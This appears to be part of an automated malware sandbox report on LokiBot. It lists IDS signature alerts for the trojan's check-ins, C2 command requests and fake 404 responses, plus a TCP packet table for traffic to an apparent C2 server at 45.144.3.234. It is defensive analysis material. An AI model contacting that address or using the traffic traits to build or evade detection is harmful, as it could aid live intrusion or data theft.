12/02/20-11:54:20.474218	TCP	2025381	ET TROJAN LokiBot Checkin	49962	80	192.168.2.6	45.144.3.234
12/02/20-11:54:20.474218	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49962	80	192.168.2.6	45.144.3.234
12/02/20-11:54:20.612632	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49962	45.144.3.234	192.168.2.6
12/02/20-11:54:20.865487	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49963	80	192.168.2.6	45.144.3.234
12/02/20-11:54:20.865487	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49963	80	192.168.2.6	45.144.3.234
12/02/20-11:54:20.865487	TCP	2025381	ET TROJAN LokiBot Checkin	49963	80	192.168.2.6	45.144.3.234
12/02/20-11:54:20.865487	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49963	80	192.168.2.6	45.144.3.234
12/02/20-11:54:20.993083	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49963	45.144.3.234	192.168.2.6
12/02/20-11:54:21.251330	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49964	80	192.168.2.6	45.144.3.234
12/02/20-11:54:21.251330	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49964	80	192.168.2.6	45.144.3.234
12/02/20-11:54:21.251330	TCP	2025381	ET TROJAN LokiBot Checkin	49964	80	192.168.2.6	45.144.3.234
12/02/20-11:54:21.251330	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49964	80	192.168.2.6	45.144.3.234
12/02/20-11:54:21.376931	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49964	45.144.3.234	192.168.2.6
12/02/20-11:54:21.612720	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49965	80	192.168.2.6	45.144.3.234
12/02/20-11:54:21.612720	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49965	80	192.168.2.6	45.144.3.234
12/02/20-11:54:21.612720	TCP	2025381	ET TROJAN LokiBot Checkin	49965	80	192.168.2.6	45.144.3.234
12/02/20-11:54:21.612720	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49965	80	192.168.2.6	45.144.3.234
12/02/20-11:54:21.738057	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49965	45.144.3.234	192.168.2.6
12/02/20-11:54:21.993889	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49966	80	192.168.2.6	45.144.3.234
12/02/20-11:54:21.993889	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49966	80	192.168.2.6	45.144.3.234
12/02/20-11:54:21.993889	TCP	2025381	ET TROJAN LokiBot Checkin	49966	80	192.168.2.6	45.144.3.234
12/02/20-11:54:21.993889	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49966	80	192.168.2.6	45.144.3.234
12/02/20-11:54:22.123761	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49966	45.144.3.234	192.168.2.6
12/02/20-11:54:22.405113	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49967	80	192.168.2.6	45.144.3.234
12/02/20-11:54:22.405113	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49967	80	192.168.2.6	45.144.3.234
12/02/20-11:54:22.405113	TCP	2025381	ET TROJAN LokiBot Checkin	49967	80	192.168.2.6	45.144.3.234
12/02/20-11:54:22.405113	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49967	80	192.168.2.6	45.144.3.234
12/02/20-11:54:22.542134	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49967	45.144.3.234	192.168.2.6
12/02/20-11:54:22.819145	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49968	80	192.168.2.6	45.144.3.234
12/02/20-11:54:22.819145	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49968	80	192.168.2.6	45.144.3.234
12/02/20-11:54:22.819145	TCP	2025381	ET TROJAN LokiBot Checkin	49968	80	192.168.2.6	45.144.3.234
12/02/20-11:54:22.819145	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49968	80	192.168.2.6	45.144.3.234
12/02/20-11:54:22.944392	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49968	45.144.3.234	192.168.2.6
12/02/20-11:54:23.191460	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49969	80	192.168.2.6	45.144.3.234
12/02/20-11:54:23.191460	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49969	80	192.168.2.6	45.144.3.234
12/02/20-11:54:23.191460	TCP	2025381	ET TROJAN LokiBot Checkin	49969	80	192.168.2.6	45.144.3.234
12/02/20-11:54:23.191460	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49969	80	192.168.2.6	45.144.3.234
12/02/20-11:54:23.319732	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49969	45.144.3.234	192.168.2.6
12/02/20-11:54:23.600042	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49970	80	192.168.2.6	45.144.3.234
12/02/20-11:54:23.600042	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49970	80	192.168.2.6	45.144.3.234
12/02/20-11:54:23.600042	TCP	2025381	ET TROJAN LokiBot Checkin	49970	80	192.168.2.6	45.144.3.234
12/02/20-11:54:23.600042	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49970	80	192.168.2.6	45.144.3.234
12/02/20-11:54:23.739671	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49970	45.144.3.234	192.168.2.6
12/02/20-11:54:24.003743	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49971	80	192.168.2.6	45.144.3.234
12/02/20-11:54:24.003743	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49971	80	192.168.2.6	45.144.3.234
12/02/20-11:54:24.003743	TCP	2025381	ET TROJAN LokiBot Checkin	49971	80	192.168.2.6	45.144.3.234
12/02/20-11:54:24.003743	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49971	80	192.168.2.6	45.144.3.234
12/02/20-11:54:24.134993	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49971	45.144.3.234	192.168.2.6
12/02/20-11:54:24.413582	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49972	80	192.168.2.6	45.144.3.234
12/02/20-11:54:24.413582	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49972	80	192.168.2.6	45.144.3.234
12/02/20-11:54:24.413582	TCP	2025381	ET TROJAN LokiBot Checkin	49972	80	192.168.2.6	45.144.3.234
12/02/20-11:54:24.413582	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49972	80	192.168.2.6	45.144.3.234
12/02/20-11:54:24.556477	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49972	45.144.3.234	192.168.2.6
12/02/20-11:54:24.870784	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49973	80	192.168.2.6	45.144.3.234
12/02/20-11:54:24.870784	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49973	80	192.168.2.6	45.144.3.234
12/02/20-11:54:24.870784	TCP	2025381	ET TROJAN LokiBot Checkin	49973	80	192.168.2.6	45.144.3.234
12/02/20-11:54:24.870784	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49973	80	192.168.2.6	45.144.3.234
12/02/20-11:54:25.002434	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49973	45.144.3.234	192.168.2.6
12/02/20-11:54:25.288195	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49974	80	192.168.2.6	45.144.3.234
12/02/20-11:54:25.288195	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49974	80	192.168.2.6	45.144.3.234
12/02/20-11:54:25.288195	TCP	2025381	ET TROJAN LokiBot Checkin	49974	80	192.168.2.6	45.144.3.234
12/02/20-11:54:25.288195	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49974	80	192.168.2.6	45.144.3.234
12/02/20-11:54:25.414858	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49974	45.144.3.234	192.168.2.6
12/02/20-11:54:25.721544	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49975	80	192.168.2.6	45.144.3.234
12/02/20-11:54:25.721544	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49975	80	192.168.2.6	45.144.3.234
12/02/20-11:54:25.721544	TCP	2025381	ET TROJAN LokiBot Checkin	49975	80	192.168.2.6	45.144.3.234
12/02/20-11:54:25.721544	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49975	80	192.168.2.6	45.144.3.234
12/02/20-11:54:25.849073	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49975	45.144.3.234	192.168.2.6
12/02/20-11:54:26.144787	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49976	80	192.168.2.6	45.144.3.234
12/02/20-11:54:26.144787	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49976	80	192.168.2.6	45.144.3.234
12/02/20-11:54:26.144787	TCP	2025381	ET TROJAN LokiBot Checkin	49976	80	192.168.2.6	45.144.3.234
12/02/20-11:54:26.144787	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49976	80	192.168.2.6	45.144.3.234
12/02/20-11:54:26.272979	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49976	45.144.3.234	192.168.2.6
12/02/20-11:54:26.570983	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49977	80	192.168.2.6	45.144.3.234
12/02/20-11:54:26.570983	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49977	80	192.168.2.6	45.144.3.234
12/02/20-11:54:26.570983	TCP	2025381	ET TROJAN LokiBot Checkin	49977	80	192.168.2.6	45.144.3.234
12/02/20-11:54:26.570983	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49977	80	192.168.2.6	45.144.3.234
12/02/20-11:54:26.711049	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49977	45.144.3.234	192.168.2.6
12/02/20-11:54:27.002604	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49978	80	192.168.2.6	45.144.3.234
12/02/20-11:54:27.002604	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49978	80	192.168.2.6	45.144.3.234
12/02/20-11:54:27.002604	TCP	2025381	ET TROJAN LokiBot Checkin	49978	80	192.168.2.6	45.144.3.234
12/02/20-11:54:27.002604	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49978	80	192.168.2.6	45.144.3.234
12/02/20-11:54:27.132331	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49978	45.144.3.234	192.168.2.6
12/02/20-11:54:27.439600	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49979	80	192.168.2.6	45.144.3.234
12/02/20-11:54:27.439600	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49979	80	192.168.2.6	45.144.3.234
12/02/20-11:54:27.439600	TCP	2025381	ET TROJAN LokiBot Checkin	49979	80	192.168.2.6	45.144.3.234
12/02/20-11:54:27.439600	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49979	80	192.168.2.6	45.144.3.234
12/02/20-11:54:27.568900	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49979	45.144.3.234	192.168.2.6
12/02/20-11:54:27.844926	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49980	80	192.168.2.6	45.144.3.234
12/02/20-11:54:27.844926	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49980	80	192.168.2.6	45.144.3.234
12/02/20-11:54:27.844926	TCP	2025381	ET TROJAN LokiBot Checkin	49980	80	192.168.2.6	45.144.3.234
12/02/20-11:54:27.844926	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49980	80	192.168.2.6	45.144.3.234
12/02/20-11:54:27.972228	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49980	45.144.3.234	192.168.2.6
12/02/20-11:54:28.210753	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49981	80	192.168.2.6	45.144.3.234
12/02/20-11:54:28.210753	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49981	80	192.168.2.6	45.144.3.234
12/02/20-11:54:28.210753	TCP	2025381	ET TROJAN LokiBot Checkin	49981	80	192.168.2.6	45.144.3.234
12/02/20-11:54:28.210753	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49981	80	192.168.2.6	45.144.3.234
12/02/20-11:54:28.339983	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49981	45.144.3.234	192.168.2.6
12/02/20-11:54:28.648579	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49982	80	192.168.2.6	45.144.3.234
12/02/20-11:54:28.648579	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49982	80	192.168.2.6	45.144.3.234
12/02/20-11:54:28.648579	TCP	2025381	ET TROJAN LokiBot Checkin	49982	80	192.168.2.6	45.144.3.234
12/02/20-11:54:28.648579	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49982	80	192.168.2.6	45.144.3.234
12/02/20-11:54:28.783734	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49982	45.144.3.234	192.168.2.6
12/02/20-11:54:29.097570	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49983	80	192.168.2.6	45.144.3.234
12/02/20-11:54:29.097570	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49983	80	192.168.2.6	45.144.3.234
12/02/20-11:54:29.097570	TCP	2025381	ET TROJAN LokiBot Checkin	49983	80	192.168.2.6	45.144.3.234
12/02/20-11:54:29.097570	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49983	80	192.168.2.6	45.144.3.234
12/02/20-11:54:29.229926	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49983	45.144.3.234	192.168.2.6
12/02/20-11:54:29.481369	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49984	80	192.168.2.6	45.144.3.234
12/02/20-11:54:29.481369	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49984	80	192.168.2.6	45.144.3.234
12/02/20-11:54:29.481369	TCP	2025381	ET TROJAN LokiBot Checkin	49984	80	192.168.2.6	45.144.3.234
12/02/20-11:54:29.481369	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49984	80	192.168.2.6	45.144.3.234
12/02/20-11:54:29.611300	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49984	45.144.3.234	192.168.2.6
12/02/20-11:54:29.882166	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49985	80	192.168.2.6	45.144.3.234
12/02/20-11:54:29.882166	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49985	80	192.168.2.6	45.144.3.234
12/02/20-11:54:29.882166	TCP	2025381	ET TROJAN LokiBot Checkin	49985	80	192.168.2.6	45.144.3.234
12/02/20-11:54:29.882166	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49985	80	192.168.2.6	45.144.3.234
12/02/20-11:54:30.031088	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49985	45.144.3.234	192.168.2.6
12/02/20-11:54:30.266581	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49986	80	192.168.2.6	45.144.3.234
12/02/20-11:54:30.266581	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49986	80	192.168.2.6	45.144.3.234
12/02/20-11:54:30.266581	TCP	2025381	ET TROJAN LokiBot Checkin	49986	80	192.168.2.6	45.144.3.234
12/02/20-11:54:30.266581	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49986	80	192.168.2.6	45.144.3.234
12/02/20-11:54:30.405566	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49986	45.144.3.234	192.168.2.6
12/02/20-11:54:30.691282	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49987	80	192.168.2.6	45.144.3.234
12/02/20-11:54:30.691282	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49987	80	192.168.2.6	45.144.3.234
12/02/20-11:54:30.691282	TCP	2025381	ET TROJAN LokiBot Checkin	49987	80	192.168.2.6	45.144.3.234
12/02/20-11:54:30.691282	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49987	80	192.168.2.6	45.144.3.234
12/02/20-11:54:30.819381	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49987	45.144.3.234	192.168.2.6
12/02/20-11:54:31.074450	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49988	80	192.168.2.6	45.144.3.234
12/02/20-11:54:31.074450	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49988	80	192.168.2.6	45.144.3.234
12/02/20-11:54:31.074450	TCP	2025381	ET TROJAN LokiBot Checkin	49988	80	192.168.2.6	45.144.3.234
12/02/20-11:54:31.074450	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49988	80	192.168.2.6	45.144.3.234
12/02/20-11:54:31.217477	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49988	45.144.3.234	192.168.2.6
12/02/20-11:54:31.527811	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49989	80	192.168.2.6	45.144.3.234
12/02/20-11:54:31.527811	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49989	80	192.168.2.6	45.144.3.234
12/02/20-11:54:31.527811	TCP	2025381	ET TROJAN LokiBot Checkin	49989	80	192.168.2.6	45.144.3.234
12/02/20-11:54:31.527811	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49989	80	192.168.2.6	45.144.3.234
12/02/20-11:54:31.656363	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49989	45.144.3.234	192.168.2.6
12/02/20-11:54:31.972080	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49990	80	192.168.2.6	45.144.3.234
12/02/20-11:54:31.972080	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49990	80	192.168.2.6	45.144.3.234
12/02/20-11:54:31.972080	TCP	2025381	ET TROJAN LokiBot Checkin	49990	80	192.168.2.6	45.144.3.234
12/02/20-11:54:31.972080	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49990	80	192.168.2.6	45.144.3.234
12/02/20-11:54:32.100903	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49990	45.144.3.234	192.168.2.6
12/02/20-11:54:32.430897	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49991	80	192.168.2.6	45.144.3.234
12/02/20-11:54:32.430897	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49991	80	192.168.2.6	45.144.3.234
12/02/20-11:54:32.430897	TCP	2025381	ET TROJAN LokiBot Checkin	49991	80	192.168.2.6	45.144.3.234
12/02/20-11:54:32.430897	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49991	80	192.168.2.6	45.144.3.234
12/02/20-11:54:32.565127	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49991	45.144.3.234	192.168.2.6
12/02/20-11:54:32.886879	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49992	80	192.168.2.6	45.144.3.234
12/02/20-11:54:32.886879	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49992	80	192.168.2.6	45.144.3.234
12/02/20-11:54:32.886879	TCP	2025381	ET TROJAN LokiBot Checkin	49992	80	192.168.2.6	45.144.3.234
12/02/20-11:54:32.886879	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49992	80	192.168.2.6	45.144.3.234
12/02/20-11:54:33.011949	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49992	45.144.3.234	192.168.2.6
12/02/20-11:54:33.320496	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49993	80	192.168.2.6	45.144.3.234
12/02/20-11:54:33.320496	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49993	80	192.168.2.6	45.144.3.234
12/02/20-11:54:33.320496	TCP	2025381	ET TROJAN LokiBot Checkin	49993	80	192.168.2.6	45.144.3.234
12/02/20-11:54:33.320496	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49993	80	192.168.2.6	45.144.3.234
12/02/20-11:54:33.450376	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49993	45.144.3.234	192.168.2.6
12/02/20-11:54:33.753310	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49994	80	192.168.2.6	45.144.3.234
12/02/20-11:54:33.753310	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49994	80	192.168.2.6	45.144.3.234
12/02/20-11:54:33.753310	TCP	2025381	ET TROJAN LokiBot Checkin	49994	80	192.168.2.6	45.144.3.234
12/02/20-11:54:33.753310	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49994	80	192.168.2.6	45.144.3.234
12/02/20-11:54:33.881657	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49994	45.144.3.234	192.168.2.6

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2020 11:52:41.373833895 CET	49712	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:41.425750971 CET	80	49712	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:41.425884008 CET	49712	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:41.429219961 CET	49712	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:41.481084108 CET	80	49712	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:41.481232882 CET	49712	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:41.532952070 CET	80	49712	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:41.556689978 CET	80	49712	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:41.556718111 CET	80	49712	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:41.556894064 CET	49712	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:41.557085037 CET	49712	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:41.608752966 CET	80	49712	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:41.805109024 CET	49713	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:41.858046055 CET	80	49713	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:41.859925985 CET	49713	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:41.861237049 CET	49713	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:41.913903952 CET	80	49713	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:41.914042950 CET	49713	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:41.966799974 CET	80	49713	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:41.989274979 CET	80	49713	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:41.989300013 CET	80	49713	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:41.989779949 CET	49713	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:41.989806890 CET	49713	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:42.042948008 CET	80	49713	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:42.134608984 CET	49714	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:42.187550068 CET	80	49714	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:42.187730074 CET	49714	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:42.190738916 CET	49714	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:42.243424892 CET	80	49714	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:42.243526936 CET	49714	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:42.296176910 CET	80	49714	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:42.317408085 CET	80	49714	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:42.317475080 CET	80	49714	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:42.317636013 CET	49714	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:42.317660093 CET	49714	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:42.370023012 CET	80	49714	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:42.634788036 CET	49715	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:42.687304974 CET	80	49715	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:42.687475920 CET	49715	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:42.691672087 CET	49715	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:42.744510889 CET	80	49715	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:42.744729996 CET	49715	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:42.797485113 CET	80	49715	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:42.818738937 CET	80	49715	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:42.818770885 CET	80	49715	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:42.818905115 CET	49715	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:42.818957090 CET	49715	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:42.873208046 CET	80	49715	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:43.165004015 CET	49716	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:43.218617916 CET	80	49716	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:43.218766928 CET	49716	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:43.223644972 CET	49716	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:43.276274920 CET	80	49716	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:43.279001951 CET	49716	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:43.331955910 CET	80	49716	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:43.354862928 CET	80	49716	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:43.354908943 CET	80	49716	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:43.355110884 CET	49716	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:43.355134964 CET	49716	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:43.408006907 CET	80	49716	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:43.715090036 CET	49717	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:43.780569077 CET	80	49717	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:43.780678988 CET	49717	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:43.786463022 CET	49717	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:43.841624022 CET	80	49717	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:43.841705084 CET	49717	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:43.892720938 CET	80	49717	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:43.916834116 CET	80	49717	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:43.916851044 CET	80	49717	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:43.916938066 CET	49717	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:43.917032957 CET	49717	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:43.968146086 CET	80	49717	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:44.311971903 CET	49718	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:44.363648891 CET	80	49718	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:44.363820076 CET	49718	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:44.367507935 CET	49718	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:44.421521902 CET	80	49718	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:44.424026966 CET	49718	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:44.476854086 CET	80	49718	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:44.495388985 CET	80	49718	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:44.495414972 CET	80	49718	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:44.495501041 CET	49718	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:44.495568037 CET	49718	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:44.547082901 CET	80	49718	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:44.757424116 CET	49720	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:44.809986115 CET	80	49720	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:44.813683987 CET	49720	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:44.817785978 CET	49720	80	192.168.2.6	45.144.3.234
